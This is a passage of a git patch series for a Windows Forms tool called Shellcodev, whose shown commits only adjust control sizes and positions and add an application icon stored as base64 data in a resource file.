this.getAddrBtn.Size = new System.Drawing.Size(112, 27); this.getAddrBtn.TabIndex = 2; this.getAddrBtn.Text = "Get Address"; this.getAddrBtn.UseVisualStyleBackColor = true; @@ -251,9 +273,10 @@ private void InitializeComponent() // cRBtn // this.cRBtn.AutoSize = true; - this.cRBtn.Location = new System.Drawing.Point(651, 31); + this.cRBtn.Location = new System.Drawing.Point(868, 38); + this.cRBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.cRBtn.Name = "cRBtn"; - this.cRBtn.Size = new System.Drawing.Size(67, 17); + this.cRBtn.Size = new System.Drawing.Size(86, 21); this.cRBtn.TabIndex = 7; this.cRBtn.TabStop = true; this.cRBtn.Text = "C Format"; @@ -263,9 +286,10 @@ private void InitializeComponent() // csRBtn // this.csRBtn.AutoSize = true; - this.csRBtn.Location = new System.Drawing.Point(651, 52); + this.csRBtn.Location = new System.Drawing.Point(868, 64); + this.csRBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.csRBtn.Name = "csRBtn"; - this.csRBtn.Size = new System.Drawing.Size(74, 17); + this.csRBtn.Size = new System.Drawing.Size(94, 21); this.csRBtn.TabIndex = 7; this.csRBtn.TabStop = true; this.csRBtn.Text = "C# Format"; @@ -274,9 +298,10 @@ private void InitializeComponent() // // generateBtn // - this.generateBtn.Location = new System.Drawing.Point(540, 23); + this.generateBtn.Location = new System.Drawing.Point(720, 28); + this.generateBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.generateBtn.Name = "generateBtn"; - this.generateBtn.Size = new System.Drawing.Size(100, 55); + this.generateBtn.Size = new System.Drawing.Size(133, 68); this.generateBtn.TabIndex = 2; this.generateBtn.Text = "Generate"; this.generateBtn.UseVisualStyleBackColor = true; @@ -284,9 +309,9 @@ private void InitializeComponent() // // Main // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(832, 595); + this.ClientSize = new System.Drawing.Size(1109, 732); this.Controls.Add(this.csRBtn); this.Controls.Add(this.cRBtn); this.Controls.Add(this.funcTxt); @@ -310,6 +335,9 @@ private void InitializeComponent() this.Controls.Add(this.addInstructionBtn); this.Controls.Add(this.instructionTxt); this.Controls.Add(this.instructionGrid); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MaximumSize = new System.Drawing.Size(1127, 779); + this.MinimumSize = new System.Drawing.Size(1127, 779); this.Name = "Main"; this.Text = "Shellcodev"; ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).EndInit(); diff --git a/Shellcodev/Forms/Main.resx b/Shellcodev/Forms/Main.resx index 888969e..eb8d8bf 100644 --- a/Shellcodev/Forms/Main.resx +++ b/Shellcodev/Forms/Main.resx @@ -120,4 +120,7 @@ True + + True + \ No newline at end of file From 3bf4a80a83b17b0f528b3cae48cec6a9d5131f0f Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 4 Nov 2021 12:27:38 +0100 Subject: [PATCH 30/64] Icon added --- Shellcodev/Forms/Main.Designer.cs | 2 + Shellcodev/Forms/Main.resx | 350 +++++++++++++++++++++++++++++- Shellcodev/Shellcodev.csproj | 34 +++ Shellcodev/shellcodev2.ico | Bin 0 -> 20506 bytes 4 files changed, 383 insertions(+), 3 deletions(-) create mode 100644 Shellcodev/shellcodev2.ico diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index 8f7538b..f101e6d 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -28,6 +28,7 @@ protected override void Dispose(bool disposing) /// private void InitializeComponent() { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main)); this.instructionGrid = new System.Windows.Forms.DataGridView(); this.Instruction = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.instructionTxt = new System.Windows.Forms.TextBox(); @@ -335,6 +336,7 @@ private void InitializeComponent() this.Controls.Add(this.addInstructionBtn); this.Controls.Add(this.instructionTxt); this.Controls.Add(this.instructionGrid); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.MaximumSize = new System.Drawing.Size(1127, 779); this.MinimumSize = new System.Drawing.Size(1127, 779); diff --git a/Shellcodev/Forms/Main.resx b/Shellcodev/Forms/Main.resx index eb8d8bf..0c02800 100644 --- a/Shellcodev/Forms/Main.resx +++ b/Shellcodev/Forms/Main.resx @@ -120,7 +120,351 @@ True - - True - + + + + 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 + 